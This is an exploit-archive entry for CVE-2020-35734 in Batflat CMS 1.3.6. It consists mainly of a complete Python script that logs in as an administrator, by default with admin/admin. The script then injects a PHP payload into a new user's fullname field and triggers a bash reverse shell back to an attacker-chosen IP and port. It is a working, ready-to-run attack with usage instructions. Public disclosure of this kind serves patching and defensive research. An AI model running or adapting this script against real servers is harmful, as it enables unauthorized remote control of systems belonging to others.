Batflat CMS 1.3.6 Remote Code Execution

2021.02.18
Credit: mari0x00
Risk: High
Local: No
Remote: Yes
CWE: N/A

# Exploit Title: Batflat CMS 1.3.6 - Remote Code Execution (Authenticated) # Date: 2020-12-27 # Exploit Author: mari0x00 # Vendor Homepage: https://batflat.org/ # Software Link: https://github.com/sruupl/batflat/archive/master.zip # Description: https://secator.pl/index.php/2021/02/15/batflat-v-1-3-6-authenticated-remote-code-execution-public-disclosure/ # Version: <= 1.3.6 # CVE: CVE-2020-35734 #!/usr/bin/python3 import requests import sys import re from bs4 import BeautifulSoup from termcolor import colored from time import sleep print(colored('''###########################################################''',"red")) print(colored('''####### Batflat authenticated RCE by mari0x00 #######''',"red")) print(colored('''###########################################################''',"red")) print("") if len(sys.argv) != 6: print((colored("[~] Usage : python3 batpwnd.py <url> <username> <password> <IP> <PORT>","red"))) print((colored("[~] Default credentials: admin/admin","red"))) print((colored("[~] Example: python3 batpwnd.py http://192.168.101.105/ admin admin 192.168.101.101 4444","red"))) exit() url = sys.argv[1] username = sys.argv[2] password = sys.argv[3] IP = sys.argv[4] PORT = sys.argv[5] #Start session s = requests.Session() headers = {'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0'} #Authenticate print((colored("[+] Attempting user login","blue"))) login_data = { "username": username, "password": password, "login": "", } login = s.post(url+"admin/", login_data, headers=headers) sleep(0.5) #Get token print((colored("[+] Retrieving the token","blue"))) r = s.get(url+"admin/", headers=headers).content soup = BeautifulSoup(r, "lxml") token = (re.search(r't=(.*?)">Add', str(soup)).group(1)) print((colored("[+] Token ID: " + token,"blue"))) sleep(0.5) #Get URL print((colored("[+] Getting the add-user endpoint URL","blue"))) r = s.get(url+"admin/users/add?t="+token, headers=headers).content soup = BeautifulSoup(r, "lxml") add_user_url = (re.search(r'action="(.*?)"', str(soup)).group(1)) sleep(0.5) #Exploit print((colored("[+] Adding pwnd user","blue"))) payload = "<?php system(\"/bin/bash -c 'bash -i >& /dev/tcp/" + IP + "/" + PORT + " 0>&1'\");?>" add_user = { "username": (None, "pwnd"), "fullname": (None, payload), "description": (None, "pwnd"), "email": (None, "pwnd@evil.com"), "password": (None, "pwnd123"), "access[]": (None, "users"), "save": (None, "Save") } exploit = s.post(add_user_url, headers=headers, files=add_user) sleep(0.5) #Triggering reverse shell print("") print((colored("[+] Triggering the shell. Go nuts!","green"))) r = s.get(url+"admin/users/manage?t="+token, headers=headers)


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2021, cxsecurity.com

 

Back to Top